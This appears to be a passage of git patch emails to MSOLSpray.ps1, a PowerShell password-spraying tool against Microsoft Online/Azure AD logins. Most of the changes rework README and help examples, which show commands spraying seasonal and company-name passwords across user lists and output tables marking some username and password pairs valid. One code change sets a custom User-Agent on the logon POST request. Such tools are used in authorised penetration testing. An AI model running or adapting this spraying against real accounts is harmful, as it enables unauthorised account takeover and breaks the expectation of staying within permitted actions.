2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Winter2019 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 John@domain.com Winter2019 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Domain! False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 John@domain.com Domain! False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Domain@ False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 John@domain.com Domain@ False AADSTS50126: Error validating credentials due to invalid username or password. .EXAMPLE # The following command will use input provided from the pipeline to authenticte. @@ -180,15 +180,15 @@ function Invoke-MSOLSpray { PS C:\> $Object | Invoke-MSOLSpray | Format-Table -AutoSize - Time Username Password IsValid ResponseError - ---- -------- -------- ------- ------------- - 2020-08-14 12:22:06 Steve@domain.com Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:22:06 Steve@domain.com Winter2020 True None. - 2020-08-14 12:22:06 Steve@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:22:06 John@domain.com Summer2020 True None. - 2020-08-14 12:22:06 John@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:22:06 John@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. - #> + Time Username Password IsValid ResponseError + ---- -------- -------- ------- ------------- + 2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Winter2020 True None. + 2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 John@domain.com Summer2020 True None. + 2020-08-15T18:20:50.1611349+02:00 John@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 John@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. + #> [cmdletbinding()] Param( [Parameter(ValueFromPipelineByPropertyName)] From 1382d6bfbe3802738591511d8b57bf1e72964928 Mon Sep 17 00:00:00 2001 From: Justin Perdok Date: Sat, 15 Aug 2020 18:26:50 +0200 Subject: [PATCH 09/10] Update README.md Updates examples to reflect changes to the timestamp format. --- README.md | 68 +++++++++++++++++++++++++++---------------------------- 1 file changed, 34 insertions(+), 34 deletions(-) diff --git a/README.md b/README.md index 0191a29..17208d6 100644 --- a/README.md +++ b/README.md @@ -26,7 +26,7 @@ Open a PowerShell terminal from the Windows command line with 'powershell.exe -e PS C:\> Import-Module MSOLSpray.ps1 PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com -Passwords Winter2020 -Time : 2020-08-14 12:23:44 +Time : 2020-08-15T18:20:50.1611349+02:00 Username : Steve@domain.com Password : Winter2020 IsValid : True @@ -38,12 +38,12 @@ ResponseError : None. ```PowerShell PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com,Klaas@domain.nl -Password Winter2020,Zomer2020 | Format-Table -Time Username Password IsValid ResponseError ----- -------- -------- ------- ------------- -2020-08-14 12:25:15 Steve@domain.com Winter2020 True None. -2020-08-14 12:25:15 Klaas@domain.nl Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 Steve@domain.com Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 Klaas@domain.nl Zomer2020 True None. +Time Username Password IsValid ResponseError +---- -------- -------- ------- ------------- +2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Winter2020 True None. +2020-08-15T18:20:50.1611349+02:00 Klaas@domain.nl Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 Klaas@domain.nl Zomer2020 True None. ``` ### Test multiple usernames and passwords using userlists and passwordlists @@ -51,28 +51,28 @@ Time Username Password IsValid ResponseError ```PowerShell PS C:\> Invoke-MSOLSpray -UsernameList C:\users.txt -PasswordList C:\seasons_year.txt,C:\company_name_special_characters.txt | Format-Table -Time Username Password IsValid ResponseError ----- -------- -------- ------- ------------- -2020-08-14 12:25:15 Steve@domain.com Spring2020 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 John@domain.com Spring020 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 Steve@domain.com Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 John@domain.com Summer2020 True None. -2020-08-14 12:25:15 Steve@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 John@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 Steve@domain.com Winter2020 True None. -2020-08-14 12:25:15 John@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 Steve@domain.com Spring2019 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 John@domain.com Spring2019 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 Steve@domain.com Summer2019 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 John@domain.com Summer2019 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 Steve@domain.com Fall2019 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 John@domain.com Fall2019 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 Steve@domain.com Winter2019 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 John@domain.com Winter2019 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 Steve@domain.com Domain! False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 John@domain.com Domain! False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 Steve@domain.com Domain@ False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 John@domain.com Domain@ False AADSTS50126: Error validating credentials due to invalid username or password. +Time Username Password IsValid ResponseError +---- -------- -------- ------- ------------- +2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Spring2020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 John@domain.com Spring020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 John@domain.com Summer2020 True None. +2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 John@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Winter2020 True None. +2020-08-15T18:20:50.1611349+02:00 John@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Spring2019 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 John@domain.com Spring2019 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Summer2019 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 John@domain.com Summer2019 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Fall2019 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 John@domain.com Fall2019 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Winter2019 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 John@domain.com Winter2019 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Domain! False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 John@domain.com Domain! False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Domain@ False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-15T18:20:50.1611349+02:00 John@domain.com Domain@ False AADSTS50126: Error validating credentials due to invalid username or password. ``` ### Filter output to only show valid passwords @@ -80,10 +80,10 @@ Time Username Password IsValid ResponseError ```PowerShell PS C:\> Invoke-MSOLSpray -UsernameList C:\users.txt -PasswordList C:\seasons_year.txt,C:\company_name_special_characters.txt | Where-Object {$_.IsValid -eq $true} | Format-Table -Time Username Password IsValid ResponseError ----- -------- -------- ------- ------------- -2020-08-14 12:25:15 John@domain.com Summer2020 True None. -2020-08-14 12:25:15 Steve@domain.com Winter2020 True None. +Time Username Password IsValid ResponseError +---- -------- -------- ------- ------------- +2020-08-15T18:20:50.1611349+02:00 John@domain.com Summer2020 True None. +2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Winter2020 True None. ``` ### Write valid passwords to a output file @@ -93,7 +93,7 @@ PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com -Passwords Winter2020,Summe Valid results have been written to C:\outfile.txt PS C:\> Get-Content C:\outfile.txt -2020-08-14 12:25:15 : Steve@domain.com : Winter2020 : None. +2020-08-15T18:20:50.1611349+02:00 : Steve@domain.com : Winter2020 : None. ``` ### Invoke-MSOLSpray Options From 03fa209e0649cd05b67be37e72191527b67995d4 Mon Sep 17 00:00:00 2001 From: Justin Perdok Date: Wed, 2 Sep 2020 13:53:12 +0200 Subject: [PATCH 10/10] Whoops, now we actually use specfied the User Agent. --- MSOLSpray.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 8272d3b..866e25b 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -287,7 +287,7 @@ function Invoke-MSOLSpray { } Try { $TimeOfRequest = Get-Date -Format o - $LogonRequest = Invoke-WebRequest -Uri $AuthURL -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable ResponseError + $LogonRequest = Invoke-WebRequest -Uri $AuthURL -Method Post -Headers $PostHeaders -Body $BodyParams -UserAgent $UserAgent -ErrorVariable ResponseError If ($LogonRequest.StatusCode -eq "200") { Write-Verbose "Found valid user credential. $($TimeOfRequest):$($Username):$($Password)" $OutputObject += Add-InvokeMSOLOutputToObject -Time $TimeOfRequest -Username $Username -Password $Password -IsValid $true -ResponseError "None."